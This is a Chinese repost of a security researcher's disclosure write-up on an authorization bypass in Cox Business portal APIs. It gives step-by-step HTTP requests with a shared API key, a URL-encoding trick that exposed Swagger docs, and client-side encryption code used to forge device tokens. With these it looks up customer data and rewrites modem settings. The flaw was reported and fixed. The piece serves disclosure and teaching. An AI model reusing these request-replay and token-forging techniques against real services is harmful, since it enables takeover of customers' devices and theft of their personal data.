啊?谁把我黑了??(二)

admin 2025年4月19日12:22:13评论10 views字数 16432阅读54分46秒阅读模式
玲珑安全第六期SRC培训开启招生
点击下方卡片查看招生细则
欢迎广大朋友咨询参加

啊?谁把我黑了??(二)
在上一篇文章中,我介绍了我的设备被入侵了,百思不得其解过了三年,现在我似乎找到是谁了......

针对 TR-069 协议 REST API 的攻击思路

回到家没几天,一位好朋友问我能不能帮他搬家,并且帮忙把他的 Cox 网络设备转移过去。在连接好他的调制解调器并接上光纤之后,我拨打了 ISP 客服,询问他们是否可以远程更新设备配置,使它能在新地址正常使用。客服表示他们确实可以远程推送配置更新,不仅可以修改 WiFi 密码,还能看到连接的设备。

我一下子对客服可以操作的权限产生了浓厚的兴趣——他们几乎可以对设备做任何操作。而这种广泛的远程管理能力,是通过一个叫 TR-069 的协议实现的。这项协议发布于 2004 年,允许 ISP 通过 7547 端口远程管理用户网络中的设备。这个协议早已成为 DEF CON 上多个议题的讨论对象,但因为它并不会暴露在公网,所以我对协议本身并没那么感兴趣。

但我真正感兴趣的是——客服到底是用什么工具、什么接口来实现这些操作的?

啊?谁把我黑了??(二)

如果我是一个黑客,想要攻破我的调制解调器,我可能会将目标锁定在支持客服工具的基础设施上。客服人员使用的设备管理工具背后,可能有一个内部网站,提供了一个能够执行任意命令、查看和更改客户设备管理设置的 API。如果我能够找到某种方式访问这个功能,或许就能弄清楚最初我是怎么被攻破的,并至少修补掉一种黑客入侵我的调制解调器的方式。

攻击百万台调制解调器

我决定首先查看 Cox Business 门户。这个应用提供了许多有趣的功能,允许远程管理设备、设置防火墙规则以及监控网络流量。

啊?谁把我黑了??(二)

虽然我自己没有 Cox Business 账户,但我打开了该门户的登录页面,并获取了负责应用程序核心功能的 main.36624ed36fb0ff5b.js 文件。经过格式化后,我解析了所有的路由,并浏览了它们:

/api/cbma/voicemail/services/voicemail/inbox/transcribeMessage//api/cbma/profile/services/profile/userroles//api/cbma/accountequipment/services/accountequipment/equipments/eligibleRebootDevice/api/cbma/accountequipment/services/accountequipment/casedetail/api/cbma/user/identity/services/useridentity/user/verifyContact/api/cbma/user/identity/services/useridentity/user/contact/validate

这个 API 路径包含了 100 多个不同的调用,都是以 /api/cbma/ 为基础路径。由于这些路由似乎支撑了大部分与设备相关的功能,我认为有必要进一步调查 /api/cbma/ 路由是否可能是另一个主机的反向代理。我通过发送以下请求进行测试:

不以 /api/cbma/ 开头的 HTTP 请求:

GET /api/anything_else/example HTTP/1.1Host: myaccount-business.cox.com

返回:

HTTP/1.1 301 Moved PermanentlyLocation: https://myaccount-business.cox.com/cbma/api/anything_else/example

以 /api/cbma/ 开头的 HTTP 请求:

GET /api/cbma/example HTTP/1.1Host: myaccount-business.cox.com

返回:

HTTP/1.1 500 Internal Server ErrorServer: nginx

通过发送以上 HTTP 请求,我发现 /api/cbma/ 路由是一个显式的路径,可能是另一个主机的反向代理,因为 HTTP 响应的行为不同。当请求 /api/cbma/ 以外的任何内容时,返回的是 302 重定向,而当请求 /api/cbma/ 时,则返回 500 内部服务器错误。

这表明,API 请求被代理到专门的后端服务器,而前端文件则由常规系统提供。

由于这个 API 包含了大量有趣的设备管理功能,我决定重点关注 /api/cbma/ 路由背后的内容,看看是否能找到一些漏洞,例如暴露的执行器、API 文档或目录遍历漏洞,从而帮助我提升权限。

我继续代理了 Cox Business 门户的注册请求,它位于 /api/cbma 路径下:

POST /api/cbma/userauthorization/services/profile/validate/v1/email HTTP/1.1Host: myaccount-business.cox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0Accept: application/json, text/plain, */*Content-Type: application/jsonClientid: cbmauserApikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13Cb_session: unauthenticateduserAuthorization: Bearer undefinedMa_transaction_id: a85dc5e0-bd9d-4f0d-b4ae-4e284351e4b4Content-Length: 28Connection: close{"email":"[email protected]"}

返回:

HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 126{  "message": "Success",  "id""[email protected]"}

该 HTTP 请求包含了许多不同的授权头部,其中有一个看起来像是通用的 API 密钥,似乎是多个用户共享的。clientid 和 Cb_session 键非常特定,表明应用程序中存在多个角色和权限。

HTTP 响应看起来像是一个通用的 Spring 响应,我可以通过简单地将 POST 请求改为 GET 请求,快速确认后端 API 是否正在运行 Spring 框架。

GET /api/cbma/userauthorization/services/profile/validate/v1/email HTTP/1.1Host: myaccount-business.cox.com
HTTP/1.1 500 Internal Server ErrorContent-type: application/json{  "timestamp""2024-04-12T08:57:14.384+00:00",  "status": 500,  "error""Internal Server Error",  "path""/services/profile/validate/v1/email"}

这显然是一个 Spring 错误。既然已经确认了反向代理正在运行 Spring,我决定寻找 Actuator 路径和暴露的 API 文档。

我继续尝试猜测 Actuator 路径:

 GET /api/cbma/userauthorization/services/profile/validate/v1/email/actuator/   GET /api/cbma/userauthorization/services/profile/validate/v1/actuator/   GET /api/cbma/userauthorization/services/profile/validate/actuator/   GET /api/cbma/userauthorization/services/profile/actuator/   GET /api/cbma/userauthorization/services/actuator/   GET /api/cbma/userauthorization/actuator/   GET /api/cbma/actuator/

遗憾的是,我没有找到简单的 Actuators。接着,我检查了是否有可访问的 API 文档:

 GET /api/cbma/userauthorization/services/profile/validate/v1/email/swagger-ui/index.html   GET /api/cbma/userauthorization/services/profile/validate/v1/swagger-ui/index.html   GET /api/cbma/userauthorization/services/profile/validate/swagger-ui/index.html   GET /api/cbma/userauthorization/services/profile/swagger-ui/index.html   GET /api/cbma/userauthorization/services/swagger-ui/index.html   GET /api/cbma/userauthorization/swagger-ui/index.html

成功了,我找到了一个位于 /api/cbma/profile/swagger-ui/index.html 的 Swagger 登录页面。我加载了页面,期待看到 API 路由,但是…

啊?谁把我黑了??(二)

这是一个完全空白的页面。似乎有什么原因导致页面无法加载。我检查了网络流量,发现当尝试加载任何静态资源时,似乎进入了一个无限重定向循环:

GET /api/cbma/ticket/services/swagger-ui/swagger-initializer.js HTTP/1.1Location/cbma/api/cbma/userauthorization/services/swagger-ui/swagger-initializer.js...GET /cbma/api/cbma/ticket/services/swagger-ui/swagger-initializer.js HTTP/1.1Location/cbma/cbma/api/cbma/userauthorization/services/swagger-ui/swagger-initializer.js

看起来,加载页面的静态资源(如 .png、.js、.css)请求都通过了基础 URI,而不是反向代理 API 主机。这意味着可能存在一个静态资源的代理规则。因此,我改变了文件扩展名进行测试:

GET /api/cbma/userauthorization/services/swagger-ui/swagger-initializer.anythingElse HTTP/1.1Host: myaccount-business.cox.com
HTTP/1.1 500 Internal Server ErrorServer: nginx

通过确认 .js 扩展名触发了请求路由到原始主机后,我需要找到一种方法,从 API 反向代理加载资源,而不触发静态文件的路由规则。为了测试这一点,我使用 Burp 的 Intruder 枚举了从 %00 到 %FF 的字符。

大约 30 秒后,我通过在 URL 末尾添加 URL 编码的 / 符号成功获得了 200 OK 响应:

GET /api/cbma/userauthorization/services/swagger-ui/swagger-initializer.js%2f HTTP/1.1Host: myaccount-business.cox.com
HTTP/2200 OKContent-Type: application/javascriptwindow.onload = function() { window.ui = SwaggerUIBundle({ url"https://petstore.swagger.io/v2/swagger.json", dom_id'#swagger-ui', deepLinkingtrue, presets: [ SwaggerUIBundle.presets.apis, SwaggerUIStandalonePreset ], plugins: [ SwaggerUIBundle.plugins.DownloadUrl ], layout"StandaloneLayout" , "configUrl""/services/v3/api-docs/swagger-config""validatorUrl""" }); //</editor-fold> };

通过将 %2f 添加到 .js 扩展名后,我成功加载了 JS 文件。我使用 Burp 的匹配和替换功能编写了一条规则,将 %2f 附加到所有静态资源上,然后重新加载了页面。

啊?谁把我黑了??(二)

如上图所示,Swagger 路由成功加载了。我使用相同的技巧加载了所有其他 API 端点的 Swagger 文档。总共有大约 700 个不同的 API 调用,每个 API 具有以下数量的调用:

account(115 路由)

voiceutilities(73 路由)

user(70 路由)

datainternetgateway(57 路由)

accountequipment(55 路由)

billing(53 路由)

ticket(52 路由)

profile(47 路由)

voicecallmanagement(46 路由)

voicemail(37 路由)

voiceusermanagement(30 路由)

userauthorization(24 路由)

csr(16 路由)

voiceprofile(14 路由)

我快速浏览了一下,发现以下这些 API 似乎涉及更多的硬件交互和访问客户账户的功能:

accountequipment(55 路由)

datainternetgateway(57 路由)

account(115 路由)

我复制了用于注册到网站的 HTTP 请求,并运行了一个 Intruder 脚本,逐个访问每个 GET 端点,检查是否有任何未认证即可访问的 API 端点。结果非常有趣,大约一半的响应是授权错误,另一半则是 200 OK 的 HTTP 响应。

意外发现 Cox 后端 API 的授权绕过漏洞

在对所有 API 端点进行 Intruder 扫描后,我浏览了一下查看是否有任何有趣的响应。以下的 “profilesearch” 端点返回了一个有趣的 HTTP 响应,看起来像是一个空搜索结果,返回了一个空的 JSON 对象:

GET /api/cbma/profile/services/profile/profilesearch/ HTTP/1.1  Host: myaccount-business.cox.com  Clientid: cbmauser  Apikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13  Cb_session: unauthenticateduser  Authorization: Bearer undefined  
HTTP/1.1 200 OK  Content-type**: application/json  {  "message""Success",  "profile": {    "numberofRecords""0 hits",    "searchList": []  }}

从 JavaScript 代码来看,似乎需要向 URI 中添加一个参数来进行搜索。我在 URI 中输入了 test,得到了以下响应:

{  "message": "Authorization Error-Invalid User Token"}

无效的用户令牌?但我刚刚能够访问这个端点!于是我从 URI 中删除了 test 并重新发送请求。结果又是授权错误!奇怪的是,原始的没有参数的端点现在开始返回授权错误,尽管之前使用 Intruder 执行时是正常的。

我做了一个检查,确认在 Intruder 请求和我的 Repeater 请求之间没有任何变化。我再尝试了一次,竟然意外地得到了 Intruder 请求时的原始 200 OK 和 JSON 响应!到底发生了什么?看起来请求的响应间歇性地给出授权错误或者表示请求成功。

为了测试是否可以通过实际的搜索查询重现这种情况,我在 URI 中写下了 cox,并重新执行了请求 2-3 次,直到我看到了以下响应:

{  "message": "Success",  "profile": {    "numberofRecords": "10000+ hits",    "searchList": [      {        "value": "COX REDACTED",        "profileGuid": "cbbccdae-b1ab-4e8c-9cec-e20c425205a1"      },      {        "value": "Cox Communications SIP Trunk REDACTED",        "profileGuid": "bc2a49c7-0c3f-4cab-9133-de7993cb1c7d"      },      {        "value": "cox test account ds1/REDACTED",        "profileGuid": "74551032-e703-46a2-a252-dc75d6daeedc"      }    ]  }}

这些数据看起来像是 Cox 商业客户的资料。我原本没指望能得到结果,所以试着将 “cox” 换成了 “fbi”,看看是否能拉取到客户数据:

{  "message": "Success",  "profile": {    "numberofRecords": "REDACTED hits",    "searchList": [      {        "value": "FBI REDACTED",        "profileGuid": "7bXXXX2a-XXXX-XXXX-bcf5-0be1XXXXXXXX"      },      {        "value": "FBI REDACTED",        "profileGuid": "cXXXXXXf-b4ed-XXXX-a743-000XXXXXXX35"      },      {        "value": "FBI REDACTED",        "profileGuid": "XXXXXXXX-48ac-4a4f-8893-5ca1XXXXXXXX"      }    ]  }}

这条响应显示了几处 FBI 现场办事处的物理地址,FBI 显然是 Cox 商业客户之一。这个客户管理员搜索 API 请求居然能够工作,危害相当大。

我进一步确认了通过多次重放 HTTP 请求,我可以绕过 API 的授权限制,甚至还有 700 多个其他 API 请求可以访问。现在,是时候深入了解这些可能带来的真正影响了。

确认我能够进入任何人的设备

我回顾了一下 Intruder 扫描的结果,发现我可以通过简单地重放请求绕过授权。为了搞清楚这个漏洞是否能被用来入侵我的调制解调器,我需要确认这个 API 是否也能接入到住宅网络。Cox 提供了住宅和商业服务,但我猜测底层的 API 应该同时适用于两者。

我选择了一个看起来最简单的请求,它包含一个 macAddress 参数,用来测试是否可以通过 API 访问我的调制解调器:

/api/cbma/accountequipment/services/accountequipment/ipAddress?macAddress=:mac

这是一个 GET 请求,旨在通过 macAddress 参数获取调制解调器的 IP 地址。我登录到 Cox,拿到了我的 MAC 地址,然后不断发送 HTTP 请求,直到返回 200 OK:

GET /api/cbma/accountequipment/services/accountequipment/ipAddress?macAddress=f80c58bbcb90 HTTP/1.1  Host: myaccount-business.cox.com  Clientid: cbmauser  Apikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13  Cb_session: unauthenticateduser  Authorization: Bearer undefined  
HTTP/1.1 200 OK  Content-typeapplication/json  {  "message": "Success",  "ipv4": "98.165.155.8"}

成功了,我通过 Cox 商业网站的 API 成功访问了自己的设备!这意味着,运行在这个 API 上的任何操作实际上都可以与设备进行通信。Cox 向数百万客户提供服务,而这个 API 似乎允许我直接通过 MAC 地址与任何人的设备进行通信。

接下来的问题是,是否可以通过搜索某个账户 ID(我之前通过客户查询端点获得的)来检索与某个账户关联的硬件的 MAC 地址。

我在 Swagger 列表中找到了 accountequipment/services/accountequipment/v1/equipments 端点,并将我的账户 ID 输入到 Burp Repeater 中。返回了以下信息:

GET /api/cbma/accountequipment/services/accountequipment/v1/equipments/435008132203 HTTP/1.1  Host: myaccount-business.cox.com  Clientid: cbmauser  Apikey5d228662-aaa1-4a18-be1c-fb84db78cf13  Cb_session: unauthenticateduser  Authorization: Bearer undefined  
HTTP/1.1 200 OK  Content-type: application/json  {  "accountEquipmentList": [    {      "equipmentCategory": "Internet",      "equipmentModelMake""NOKIA G-010G-A",      "equipmentName""NOKIA G-010G-A",      "equipmentType""Nokia ONT",      "itemModelMake""NOKIA",      "itemModelNumber""G-010G-A",      "itemNumber""DAL10GB",      "macAddress""f8:0c:58:bb:cb:92",      "portList": [        {          "address": "F80C58BBCB92",          "portNumber""1",          "portType""ONT_ALU",          "qualityAssuranceDate""20220121",          "serviceCategoryDescription""Data"        }      ],      "serialNumber": "ALCLEB313C84"    },    {      "equipmentCategory": "Voice",      "equipmentModelMake""CISCO DPQ3212",      "equipmentName""CISCO DPQ3212",      "equipmentType""Cable Modem",      "itemModelMake""CISCO",      "itemModelNumber""DPQ3212",      "itemNumber""DSA321N",      "macAddress""e4:48:c7:0d:9a:71",      "portList": [        {          "address": "E448C70D9A71",          "portNumber""1",          "portType""DATA_D3",          "qualityAssuranceDate""20111229",          "serviceCategoryDescription""Unknown"        },        {          "address": "E448C70D9A75",          "portNumber""2",          "portType""TELEPHONY",          "qualityAssuranceDate""20111229",          "serviceCategoryCode""T",          "serviceCategoryDescription""Telephone"        }      ],      "serialNumber": "240880144"    },    {      "equipmentCategory": "Television",      "equipmentModelMake""Cox Business TV (Contour 1)",      "equipmentName""Cox Business TV (Contour 1)",      "equipmentType""Cable Receiver",      "itemModelMake""CISCO",      "itemModelNumber""650",      "itemNumber""GSX9865",      "macAddress""50:39:55:da:93:05",      "portList": [        {          "address": "44E08EBB6DBC",          "portNumber""1",          "portType""CHDDVRX1",          "qualityAssuranceDate""20131108",          "serviceCategoryDescription""Cable"        }      ],      "serialNumber": "SACDRVKQN"    }  ]}

我的连接设备信息已经在 HTTP 响应中返回了。

访问和更新任何Cox商业客户账户

为了测试这个漏洞是否可以被滥用来访问和修改商业客户账户,我找到了一个可以通过电子邮件查询客户的 API 请求。我发送了以下 HTTP 请求,并得到了以下响应:

GET /api/cbma/user/services/user/admin@cox.net HTTP/1.1  Host: myaccount-business.cox.com  
HTTP/1.1 200 OK  Content-typeapplication/json  {  "id""[email protected]",  "guid""89d6db21-402d-4a57-a87b-cad85d01b192",  "email""[email protected]",  "firstName""Redacted",  "lastName""Redacted",  "primaryPhone""Redacted",  "status""INACTIVE",  "type""RETAIL",  "profileAdmin": true,  "profileOwner": true,  "isCpniSetupRequired": false,  "isPasswordChangeRequired": true,  "timeZone""EST",  "userType""PROFILE_OWNER",  "userProfileDetails": {    "id""{3DES}JA1+doxmDYc=",    "guid""9795bd4c-92d6-4aa2-ad30-1da4bbcbe1da",    "name""Supreme Carpet Care",    "status""ACTIVE",    "ownerEmail""[email protected]"  },  "contactType": {    "contactInfo": [      {        "type""alternateEmail",        "value""[email protected]"      }    ]  },  "preferredEmail""[email protected]"}

类似的 POST 账户更新请求也能成功执行。这证明了我可以读取并修改商业账户的相关信息。

到此为止,我已经展示了:

1.仅通过姓名搜索客户并检索其商业账户的个人身份信息(PII)。

2.检索与该账户关联的硬件 MAC 地址。

3.通过 API 针对这些 MAC 地址执行命令。

接下来,我需要寻找一些能够实际写入设备的 API 端点,以模拟攻击者尝试执行恶意代码的场景。

通过泄露的加密密钥覆盖任何人的设备设置

通过查看 Swagger 文档,我发现每个硬件修改请求(例如更新设备密码)都需要一个名为 encryptedValue 的参数。如果我能找到生成这个值的方法,那么我就能展示如何写入调制解调器,从而实现远程代码执行。

为了确认我是否能够生成这个 encryptedValue 参数,我需要进一步深入分析原始 JavaScript 代码,弄清楚它是如何被签名的。

啊?谁把我黑了??(二)

在追踪 encryptedValue 参数的加密过程时,我找到了以下两个函数:

encryptWithSaltandPadding(D) {    const k = n.AES.encrypt(D, this.getKey(), {        iv: n.enc.Hex.parse(s.IV)    }).ciphertext.toString(n.enc.Base64);    return btoa(s.IV + "::" + s.qs + "::" + k)}decryptWithSaltandPadding(D) {    const W = atob(D),        k = this.sanitize(W.split("::")[2]),        M = n.lib.CipherParams.create({            ciphertext: n.enc.Base64.parse(k)        });    return n.AES.decrypt(M, this.getKey(), {        iv: n.enc.Hex.parse(s.IV)    }).toString(n.enc.Utf8)}

这两个函数接收的变量仅在运行时存在,因此,实际调用这些函数的最佳方式是找到它们在 UI 中的调用位置。经过一番搜索后,我意识到在注册账户时我设置的四位数字 PIN 码正是通过相同的函数进行加密的。

啊?谁把我黑了??(二)

我在 encryptWithSaltAndPadding 函数被调用的位置设置了断点,然后按下回车。

啊?谁把我黑了??(二)

现在我已经设置了断点,并且在正确的上下文中,可以直接将这个函数粘贴到控制台中,执行任何我想要的操作。为了验证它是否有效,我复制了在 POST 请求中发送的 PIN 码的加密值,并将其传递给解密函数进行验证。

t.cbHelper.decryptWithSaltandPadding("OGEzMjNmNjFhOTk2MGI2OTM0NzAzNTkzODZkOGYxODI6OjhhNzU1NTNlMDAzOTlhNWQ5Zjk5ZTYzMzM3M2RiYWUzOjova3paY1orSjRGR0YwWGFvRkhwWHZRPT0=")

解密结果为:"8042"

解密成功,但唯一的问题是如何获取设备的加密值。我问了几个朋友,直到找到了一个拥有 MSP(托管服务提供商)的朋友,他们位于其他几个州。朋友给了我登录他们帐户的权限,我看到在登录后,其中一个 HTTP 响应中似乎包含了一个 encryptedValue 参数。我复制了这个值,并再次将其传递给解密函数:

t.cbHelper.decryptWithSaltandPadding("OGEzMjNmNjFhOTk2MGI2OTM0NzAzNTkzODZkOGYxODI6OjhhNzU1NTNlMDAzOTlhNWQ5Zjk5ZTYzMzM3M2RiYWUzOjpiYk1SNGQybzFLZHhRQ1VQNnF2TWl1QlZ0NEp6WVUyckJGMXF5T0dYTVlaNWdjZkhISTZnUFppdjM3dmtRSUcxclNkMC9WNmV2WFE1eko0VnFZUnFodz09")

解密结果为:

541051614702;DTC4131;333415591;1;f4:c1:14:70:4d:ac;Internet

看起来这个加密参数不仅包含了 MAC 地址,还包括了账户 ID 和一些额外的参数。

541051614702 = Cox 账户号码

DTC4131 = 设备名称

333415592 = 设备 ID

1 = 未知

f4:c1:14:70:4d:ac = MAC 地址

Internet = 标签

如果有某种验证机制检查 MAC 地址是否与账户 ID 匹配,那就意味着攻击过程会变得有些复杂。

执行对任何调制解调器的命令

抱着试试看的心态,我尝试签名一个包含垃圾数据的 encryptedValue 字符串,除了 MAC 地址(例如 123456789012;1234567;123456789;1;f4:c1:14:70:4d:ac;ANYTHING),看系统是否验证账户 ID 和 MAC 地址的匹配:

t.cbHelper.encryptWithSaltandPadding("123456789012;1234567;123456789;1;f4:c1:14:70:4d:ac;ANYTHING")

返回的加密值为:

OGEzMjNmNjFhOTk2MGI2OTM0NzAzNTkzODZkOGYxODI6OjhhNzU1NTNlMDAzOTlhNWQ5Zjk5ZTYzMzM3M2RiYWUzOjpLUlArd3Jqek5Ra3VlZUVReXVUWEZHbE91NWVQRzk0WEo1Zi9wSDdVZWxHVkFXYmtWd2Z2YmNHU1FWOVRFT2prZm5tNFhWZlQwNkQ3V2tDU1FqbHpIUT09

上述参数中,唯一有效的部分是设备序列号。如果这个请求有效,那么意味着我可以在 API 中使用 encryptedValue 参数,而不需要匹配账户 ID。

我发送了请求,结果与上次完全相同。这确认了我不需要额外的参数,只需要知道 MAC 地址(我可以通过查询客户姓名、获取其账户 UUID,然后通过 UUID 获取所有连接的设备)就能任意查询任何硬件设备,我现在拥有了完整的攻击链。

我形成了以下 HTTP 请求,更新我自己设备的 MAC 地址 SSID,作为演示来更新我的硬件:

POST /api/cbma/accountequipment/services/accountequipment/gatewaydevice/wifisettings HTTP/1.1Host: myaccount-business.cox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0Accept: application/json, text/plain, */*Clientid: cbmauserApikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13Cb_session: unauthenticateduserAuthorization: Bearer undefinedMa_transaction_id: 56583255-1cf3-41aa-9600-3d5585152e87Connection: closeContent-Type: application/jsonContent-Length: 431{  "wifiSettings": {    "customerWifiSsid24""Curry"  },  "additionalProperties": {    "customerWifiSsid24": [      "Curry"    ]  },  "encryptedValue""T0dFek1qTm1OakZoT1RrMk1HSTJPVE0wTnpBek5Ua3pPRFprT0dZeE9ESTZPamhoTnpVMU5UTmxNREF6T1RsaE5XUTVaams1WlRZek16TTNNMlJpWVdVek9qcENVMlp1TjJ0blVsTkNlR1ZhZDJsd05qZGhjWFo0TTJsaVJHSkhlU3N2TUhWVWFYZzJWVTByYzNsT2RYWklMek16VjJ4VldFYzJTMWx5VEVNMVRuSkxOVVF3VFhFek9UVmlUR2RGVFd4RUt6aGFUMnhoZHowOQ=="}
HTTP/1.1 200 OKServer: nginx{  "message": "Success"}

我收到了一个空白的200 OK响应。我尝试重新发送HTTP请求,但请求超时了。

我的网络断开了连接,看来更新请求一定重置了我的设备。

大约5分钟后,我的网络重新启动了。SSID名称已成功更新为“Curry”。

啊?谁把我黑了??(二)

这意味着我现在可以使用这个漏洞对任何人的设备进行读写操作。攻击者可以访问这个API,覆盖配置设置,访问路由器,并在设备上执行命令。此时,我已经拥有了类似于ISP技术支持团队的权限,可以利用这种访问权限,利用这些API攻击任何可以访问的Cox设备。

我联系了Cox,分享了漏洞的详细信息。他们在六小时内关闭了暴露的API调用,然后开始修复授权漏洞。

第二天,我不再能够重现任何漏洞。

影响

Cox是美国最大的私人宽带提供商,第三大有线电视提供商,和第七大电话运营商。他们拥有数百万的客户,是10个州中最受欢迎的ISP。

攻击场景是这样的:

1.通过暴露的API,使用客户的姓名、电话号码、电子邮件地址或账户号码,查找Cox商业目标。

2.通过查询第一步返回的UUID,获取他们的完整账户PII,包括设备MAC地址、电子邮件、电话号码和地址。

3.查询他们的硬件MAC地址,获取Wi-Fi密码和连接的设备。

4.执行任意命令,更新任何设备属性,并接管受害者账户。

有超过700个API已暴露,其中许多提供管理功能(例如查询调制解调器的连接设备),每个API都存在相同的权限问题,重放HTTP请求将允许攻击者执行未授权的命令。

最后想说

在向Cox报告漏洞后,他们调查了这个特定的漏洞是否曾经被恶意利用,并发现没有滥用的历史(我发现漏洞的服务在2023年上线,而我的设备在2021年就已经被攻破)。他们还告诉我,他们与DigitalOcean IP地址没有任何关联,这意味着设备肯定被黑客攻击了,但并不是通过我在这篇博客中披露的方法。

我仍然非常好奇我的设备是如何被攻破的,因为我从未让我的调制解调器在外部可访问,也没有在我的家庭网络中登录该设备。这篇博客的重点是揭示ISP与客户设备之间信任层中的漏洞,但我的调制解调器可能通过一些更为平淡的方法(例如,在我本地网络中触发的本地CSRF到RCE零日漏洞)被攻破。

我永远也不明白的一件事是,攻击者显然已经在我的网络内,可以不被检测地访问所有内容,为什么还要重放所有的HTTP请求?真是奇怪。

原文始发于微信公众号(玲珑安全):啊?谁把我黑了??(二)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月19日12:22:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   啊?谁把我黑了??(二)http://cn-sec.com/archives/3977634.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息